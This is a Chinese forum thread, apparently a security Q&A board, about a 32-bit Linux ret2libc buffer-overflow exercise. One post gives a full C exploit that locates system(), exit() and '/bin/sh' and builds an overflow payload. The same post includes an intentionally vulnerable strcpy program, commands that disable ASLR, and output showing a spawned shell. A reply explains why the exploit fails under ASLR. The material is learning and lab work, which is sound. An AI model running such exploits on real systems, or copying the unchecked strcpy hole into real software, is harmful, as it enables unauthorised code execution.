能力值:
( LV2,RANK:10 )
2 楼
。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
能力值:
( LV2,RANK:10 )
3 楼
地址都是硬编码,当然开启了ALSR就会出错
应该要动态泄露
但就你这个示例程序来看,似乎确实没法绕过GS
能力值:
( LV2,RANK:10 )
4 楼
楼上,
谢谢你的提醒(关于地址硬编码的问题)。改进如下:
//exploit3.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <signal.h>
#include <setjmp.h>
int step;
jmp_buf env;
void fault()
{
if(step<0)
{
longjmp(env, 1);
}
else
{
printf("can't find /bin/sh in libc, use env instead...\n");
}
}
unsigned int l2h_32(unsigned int x)
{
unsigned char a;
unsigned char b;
unsigned char c;
unsigned char d;
a = x & 0xff;
b = (x>>8) & 0xff;
c = (x>>16)& 0xff;
d = (x>>24)& 0xff;
return((a<<24)|(b<<16)|(c<<8)|d);
}
void i2s_32(unsigned int x, char *res, int res_len)
{
unsigned char a;
unsigned char b;
unsigned char c;
unsigned char d;
char temp[5];
char tmp[3] = "\\x";
a = (x >> 24)& 0xff;
b = (x >> 16)& 0xff;
c = (x >> 8)& 0xff;
d = (x) & 0xff;
memset(res, 0, res_len);
strcat(res, tmp);
memset(temp, 0, 5);
//itoa(a, temp, 16);
sprintf(temp, "%x", a);
strcat(res, temp);
strcat(res, tmp);
memset(temp, 0, 5);
//itoa(b, temp, 16);
sprintf(temp, "%x", b);
strcat(res, temp);
strcat(res, tmp);
memset(temp, 0, 5);
//itoa(c, temp, 16);
sprintf(temp, "%x", c);
strcat(res, temp);
strcat(res, tmp);
memset(temp, 0, 5);
//itoa(d, temp, 16);
sprintf(temp, "%x", d);
strcat(res, temp);
}
int main(int argc, char **argv)
{
void *handle;
int *sysaddr, *exitaddr;
long shell;
char examp[512];
char *args[3];
char *envs[1];
long *lp;
int step_addr = 4096;
//int step_addr = 8192;
handle = dlopen(NULL, RTLD_LOCAL);
//*(void**)(&sysaddr) = dlsym(handle, "system");
//sysaddr += step_addr;
sysaddr = dlsym(handle, "system");
sysaddr += 1024*5;
printf("system() found at %08x\n", sysaddr);
//*(void**)(&exitaddr) = dlsym(handle, "exit");
//exitaddr += step_addr;
exitaddr = dlsym(handle, "exit");
exitaddr += 1024*5;
printf("exit() found at %08x\n", exitaddr);
if(setjmp(env))
{
step = 1;
}
else
{
step = -1;
}
shell = (int)sysaddr;
signal(SIGSEGV, fault);
do
{
while(memcmp((void*)shell, "/bin/sh", 8))
{
shell += step;
}
}
while (!(shell & 0xff) || !(shell & 0xff00) || !(shell & 0xff0000) || !(shell & 0xff000000));
printf("\"/bin/sh\" found at %08x\n", shell+16384+step_addr);
//printf("\"/bin/sh\" found at %08x\n", shell+16384);
char cmd_1[160] = "./vuln2 `perl -e 'print \"A\"x19 .\"";
char cmd_2[10] = "\",\"";
char cmd_3[10] = "\"'`";
char cmd_sys[32];
char cmd_exit[32];
char cmd_sh[32];
i2s_32(l2h_32(sysaddr), cmd_sys, 32);
i2s_32(l2h_32(exitaddr), cmd_exit, 32);
i2s_32(l2h_32(shell+16384+step_addr), cmd_sh, 32);
//i2s_32(l2h_32(shell+16384), cmd_sh, 32);
strcat(cmd_1, cmd_sys);
strcat(cmd_1, cmd_2);
strcat(cmd_1, cmd_exit);
strcat(cmd_1, cmd_2);
strcat(cmd_1, cmd_sh);
strcat(cmd_1, cmd_3);
printf("cmd_1:\n%s\n", cmd_1);
system(cmd_1);
}
// vuln2.c
int main(int argc, char *argv[])
{
char buffer[7];
strcpy(buffer, argv[1]);
return 0;
}
编译:
gcc -o vuln2 vuln2.c -fno-stack-protector
gcc -o exploit3 exploit3.c -ldl
执行:
1、打开ASLR(
失败 )
>sudo sh -c "echo 2 > /proc/sys/kernel/randomize_va_space"
> ./exploit3
system() found at b76530b0
exit() found at b7646bf0
"/bin/sh" found at b7774c40
cmd_1:
./vuln2 `perl -e 'print "A"x19 ."\xb0\x30\x65\xb7","\xf0\x6b\x64\xb7","\x40\x4c\x77\xb7"'`
Segmentation fault (core dumped)
2、关闭ASLR(
成功 )
> sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
> ./exploit3
system() found at b7e590b0
exit() found at b7e4cbf0
"/bin/sh" found at b7f7ac40
cmd_1:
./vuln2 `perl -e 'print "A"x19 ."\xb0\x90\xe5\xb7","\xf0\xcb\xe4\xb7","\x40\xac\xf7\xb7"'`
$ pwd
/test_dir/
$ exit
问题:
这次的地址不是硬编码了,为何失败?
能力值:
( LV2,RANK:10 )
5 楼
........................
能力值:
( LV2,RANK:10 )
6 楼
不好意思这段时间没上,才看到。
我man dlopen,看到这一句,"If filename is NULL, then the returned handle is for the main program", 那么你运行的exploit3, 所以返回的应该是针对exploit3的基地址而不是vuln2, 所以会错,而你关闭了alsr之后,vuln2和exploit3的基地址一样,所以可以。
dlopen和dlsym的结果是没问题的,如果直接调用dlsym返回的指针,也可以获取shell(我实验了),但是我试验你的代码的最后部分,一直是segment fault, 即使关掉了alsr,,不太懂,或许环境不一样吧,我在debian 8做的